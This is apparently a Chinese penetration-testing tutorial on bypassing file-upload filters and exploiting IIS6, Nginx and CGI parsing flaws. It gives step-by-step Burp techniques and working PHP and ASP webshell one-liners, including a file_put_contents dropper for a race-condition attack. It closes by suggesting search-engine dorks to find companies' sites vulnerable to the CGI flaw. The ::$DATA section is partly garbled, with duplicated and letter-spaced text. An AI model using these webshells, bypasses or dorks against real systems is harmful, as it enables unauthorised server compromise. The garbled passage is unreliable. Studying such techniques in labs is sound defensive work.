文件上传解析漏洞
一、前端验证绕过
检测恶意代码依靠后端检测,前端检测(JS)相当于没有检测
(1)修改浏览器设置,直接禁用JS
(2)使用Burp抓返回包,删除JS检测代码
(3)前端代码只能在浏览器执行,先将恶意代码更改为可执行后缀,使用Burp抓包,更改上传文件后缀名
二、Content-Type方式绕过
白名单:只允许白名单上的内容。例如只允许上传jpeg、png、gif后缀的文件,后端会检测文件的类型
在文件上传解析漏洞中,后缀名很重要,后端可能会更改前缀名,但后缀名一般不会更改。
先上传一个JPG文件,使用Burp抓包后,修改文件名后缀,因为后端只检测Content-Type,不再检测文件名后缀,可以绕过。而WEB容器是根据后缀来识别格式的,只要上传的文件后缀是.php就可以识别。
三、黑名单绕过
黑名单:禁止黑名单上的内容。如果允许上传不规范后缀名的文件,例如1.a,证明是黑名单机制。
能够被解析的文件扩展名:
jsp jspx jspf
asp asa cer aspx
php php3 php4 php5 phtml
exe exee
四、.htaccess文件绕过
开发者禁止了(”.php”,”.php5”,”.php4”,”.php3”,”.php2”,”php1”,”.html”,”.htm”,”.phtml”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”pHp1”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”)大量的恶意文件后缀名。
.htaccess文件全称是Hypertext Access(超文本入口),也被称为分布式配置文件,提供了针对目录改变配置的方法。在一个特定的文档目录中放置一个包含一个或多个指令的文件,来作用于此目录及其所有子目录。
.htaccess功能:
文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表
但是,这个强大的功能在Apache中是默认不开启的,在伪静态中可以试一试。
AddType application/x-httpd-php .jpg
这个指令代表.jpg文件会当做php来解析
如果无法将文件命名为.htaccess,可以使用CMD的重命名,注意,只需要后缀,不需要前缀。以下的命令为CMD命令,将1.txt命名为.htaccess。
CMD:ren 1.txt .htaccess
(1)先上传jpg木马
(2)建立txt文件,写入指令AddType application/x-httpd-php .jpg,重命名为.htaccess
(3)上传.htaccess文件
五、后缀大小写绕过
开发者限制了.htaccess文件的上传,但没有强制将后缀名转化为小写。
六、文件后缀(空)绕过
Windows会自动去除后缀名后多余的空格,即php和php空格是相同的,但对于后端检测代码来说,php和php空格并不相同。所以,绕过检测时可以增加一个空格,上传到服务器后,Windows又会自动去除空格。
使用Burp抓包,在文件名后增加一个空格。
上传流程:
文件上传 -> 检测 -> 上传到缓存文件(tmp) -> 后端代码将其移动到特定目录并重命名
七、文件后缀(点)绕过
Windows会自动清除后缀名后多余的点,而后端检测代码不会。使用Burp抓包,在文件名后添加一个点。
八、::$DATA(Windows文件流绕过)
::$DATA(Windows文件流绕过)利用了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。简单地说,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。
CMD命令:
echo 123 > a.txt (将123写入a.txt文件中,如果a.txt不存在,则新建一个)
echo 1234 > a.txt:b.txt (将1234写入b.txt文件,并将b.txt文件依附于a.txt)
notepad a.txt:b.txt (打开依附于a.txt文件的b.txt文件)
理论上,寄宿文件不会显示,且宿主文件显示出来的大小不变,是一种隐藏文件的好方法。但是,无法面杀。其主要意义是绕过WebShell。
可以利用寄宿文件保存自己的账号密码,但是请注意,复制转移宿主文件时,可能寄宿文件并不会跟着转移。
echo 123 > a.txt
echo 123 > a.txt::$DATA (完整版)
对于Windows来说,a.txt和a.txt:: D A T A 是 相 同 的 , 对 于 后 端 检 测 来 说 , a . t x t 和 a . t x t : : DATA是相同的,对于后端检测来说,a.txt和a.txt:: DATA是相同的,对于后端检测来说,a.txt和a.txt::DATA是不同的。此种绕过方法仅限于Windows系统。
九、构造文件后缀绕过
后端检测自动去除了::$DATA后缀
后端检测会去除后缀名后多余的一个点,去除末尾的空格,以下一个小数点的位置截取后缀名,我们可以抓包构造后缀名绕过。
.php. .
十、双写文件后缀绕过
开发将所有恶意后缀都替换为了NULL,例如php被替换为NULL,pphphp则会被替换为php
开发人员在与渗透测试的斗争过程中,发现黑名单机制并不安全,他们逐渐使用白名单机制。
十一、截断绕过(一)
0x00是一个十六进制表示方式,代表ASCII码值0,有些函数在处理这个字符的时候会把这个字符当做结束符,它们读取到这里就认为这一段结束了。
文件上传时,如果遇到了白名单机制,只允许上传jpg后缀,我们就需要绕过上传过滤。
假设上传1.php.jpg,传参之后,有些过滤直接匹配字符串,强行匹配到了.jpg结尾,允许上传,但是php函数执行的时候,只读取到0x00就认为结束了,上传的文件就变成了1.php。
截断和00截断是相同的原理,只不过经过URL编码,解码后就是0x00截断的那个字符。
是URL编码,其本质是十六进制。
在小于5.3的PHP版本中,存在截断。
十二、截断绕过(二)
GET会对十六进制进行解码,POST不会进行解码,所以不能够直接写。
Burp的Hex功能中,可以得到数据包的对应十六进制,并且可以对其进行修改。
a的十六进制为61,将其更改为00。
十三、图片马绕过
开发之前一直针对后缀进行检测,现在开始对内容进行检测。
图片马:将一句话木马与图片融合
准备好一张jpg图片,在txt文件中写入一句话木马,在当前目录打开cmd命令行,以下这条cmd命令是将abc.jpg图片转化为二进制,与一句话木马文件1.txt粘合,生成图片马,命名为shell.jpg。
copy abc.jpg/b 1.txt shell.jpg
查看图片马的十六进制源码,EverEdit有Hex模式,可以发现在最后面有一句话木马。
在本地环境中运行图片马,需要将后缀名更改为php,同时路径中不能有中文。
有的网站会检查图片的末尾是否有一句话木马,此时可以使用两张图片复合,将一句话木马夹在中间。
图片A 一句话木马 图片A
这种方法也可以用于隐藏文件,将所需要隐藏的文件变为压缩包,与图片粘合。
后缀名为jpg则为图片,后缀名为rar则为压缩包。
copy cat.jpg/b 1.rar cat1.jpg
如果直接更改图片的十六进制,写入一句话木马,可能会损坏图片。
图片马尽量使用小图片,大图片可能会读取不到一句话木马。
文件上传不一定能够GetShell,有时候需要其他漏洞的配合。
十四、getimagesize图片类型绕过
同样可以使用图片马绕过,但是需要使用jpeg、png、gif格式,并且不能够使用更改后缀名来得到相应格式文件的方法。
十五、php_exif模块图片类型绕过
十六、二次渲染绕过
简单地说,二次渲染就是不信任用户的数据,重写数据,自行绘画出一张图画。
二次渲染可以使用动态图gif绕过,但是需要写在图片的头部,第三行、第四行的位置较好,同时gif图片不能太大,最好不要超过100KB。
写入一句话木马,写入木马之后,gif图片可能会变色,甚至被破坏,进行本地测试,图片马可以正常使用。
十七、条件竞争绕过
文件上传的检测流程:
(1)先检测后上传
(2)先上传后检测
条件竞争发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制会确保两个及以上的并发进程或线程不同时执行某些特定的程序段,这些程序段也被称之为临界区(critical section),如果没有应用好同步技术,就会发生“竞争条件”的问题。
简单地说,就是多个线程同时争抢一个资源。
我们上传了文件,但是却因为过滤或者检测而被删除,但我们可以使用条件竞争绕过,我们实际上是和unlink或者说是和删除文件的函数进行竞争。
假设我们不断上传发包,同时不断访问我们上传上去的文件的地址,然后我们就开始和服务器的函数比速度,函数的执行是需要时间的,这个时间可能很短,但被我们访问到了,就相当于执行了PHP。
在先上传后检测的情况下,只要我们上传的速度足够快,电脑来不及删除,就相当于拥有了木马。
PHP代码属于只要访问到了,就能够持久使用,不再需要PHP文件。我们可以对PHP内容做手脚,使我们上传的马生成一个新的马。
file_put_contents()函数把一个字符串写入一个文件中。
#只要访问源码,就会自动生成一个木马文件
<?php file_put_contents('1100.php','<?php @eval($_REQUEST[8]);?>');?>
而自动生成的木马文件并不是上传的,而是由代码生成的,所以后端检测并不会理会。
靶场的后端检测程序思路是先移动,再检测,再改名。
流程:
(1)先上传一个正常的gif文件,了解其存储路径
(2)上传文件后,系统先移动恶意文件到存储路径,此时名字不变,我们必须抓住这个简短的时间,在其被检测丢弃之前,访问恶意文件,使其生成一句话木马1100.php
(3)将恶意文件命名为110.php,生成一句话木马命名为1100.php
(4)先上传110.php,抓包,Send to Intruder,放包
(5)再抓一个访问URL110.php的包,Send to Intruder,放包
(6)在第一个上传包中随意为110添加一个标记,Payload type选择为Null payloads,生成10000 payloads,进程调为30
(7)在第二个访问包中随意框住一个0,选择Null payloads,调整为10000 payloads,进程调整为40,比第一个包的进程大
(8)开始跑包,第一个先跑,第二个后跑,第二个包可以同时多跑几个
(9)跑不出来,搭建本地环境进行实验,在源码解压到本地根目录下即可
十八、move_uploaded_file()截断
move_uploaded_file()是移动文件的函数,上传上去之后,移动到存储文件夹,重命名。
防御文件上传解析漏洞的方法:
(1)图床。A网站上传图片,存储到B网站,B网站只用来存储图片。但图床也有自己的问题,例如机密性问题。
(2)加强检测。白名单,检测内容,权限设定,使用最新的中间件。
二十、IIS6.0解析漏洞(一)
中间件是根据后缀来处理文件的。
解析漏洞:有一些中间件可以使用特殊的后缀、特殊的传参方法绕过。
IIS6.0解析漏洞,严格意义上而言,只是一些默认配置,IIS6.0的一些特性,只是一些默认配置并不是漏洞,但有一些的确是漏洞。
ISS是一种中间件,一个Web容器,6.0是其版本。
WINDOWS SERVER 2003 -> IIS6.0
WINDOWS SERVER 2008 -> IIS7.0-7.5
一句话木马是任意执行后端代码。
ASP与PHP并不通用。
#ASP一句话木马
<%eval request(“a”)%>
如何解析文件,是可以对中间件进行配置的,不同的扩展名,会执行相应的可执行文件。
IIS6.0会默认将asa、cdx、cer当做asp处理,因为IIS6.0在应用程序扩展中默认设置了asa、cer、cdx 都会调用asp.dll。
二十一、IIS6.0解析漏洞(二)
白名单机制
00截断的核心在于PHP版本
条件竞争的核心在于检测与上传的顺序
IIS6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。注意,IIS5.1和IIS7.5无此漏洞。
这一漏洞有两种完全不同的利用方式:
(1)test.asp;.jpg,当做asp进行解析
(2)test.asp/123.jpg ,当做asp进行解析
例如:请求aaa.asp;xxx.jpg
(1)从头部查找查找“.”号,获得.asp;xxx.jpg
(2)查找“;”号,如果有则内存截断
(3)查找“/”,如果有则内存截断
(4)最终保留下来.asp字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配,并反馈给asp.dll处理
二十二、IIS6.0解析漏洞(三)
test.asp/123.jpg ,“/”就像目录,ASP检测到test.asp文件夹,会将其中所有的文件都按照asp处理。
一般来说,aspx的网站会兼容asp。
二十三、CGI解析漏洞(四)
CGI简单地说,是PHP和Web容器沟通的桥梁。
PHP和Web容器交互有两种方法:一种是使用Nginx,PHP会在本地开一个9000的端口,专门用来与其通信。
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设SCRIPT_FILENAME。
当访问www.xx.com/phpinfo.jpg/1.php 这个URL时,$fastcgi_script_name会被设置成“phpinfo.jpg/1.php” ,然后构造成SCRIPT_FILENAME(绝对路径)传递给PHP CGI,如果开启了cgi.fix_pathinfo=1选项(默认值为1,所以没有设置过就是开启),那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME(绝对路径)是phpinfo.jpg,而1.php是PATH_INFO,所以就会把phpinfo.jpg作为PHP文件来解析了,这也是一个逻辑问题,我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析。
简单地说,访问www.xx.com/phpinfo.jpg/1.php 时,如果Web容器没有找到1.php,就会向前查找phpinfo.jpg,然后将其作为php处理。
只要能够上传文件,例如图片,且可以访问这张图片,然后在URL后添加“/.php”,就可以执行图片马。
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常出现这样的解析漏洞。
想要判断一个网站是否存在CGI解析漏洞,只需要访问一张图片,后面添加“/.php”,只要出现解析乱码,就存在解析漏洞。
搜索公司的CGI解析漏洞:
百度inurl:php?id=123
必应国际版inurl:php?id=123 公司
访问一张图片,右键检查元素,或者复制图片地址,末尾添加“/.php”,如果出现解析乱码,就存在解析漏洞。
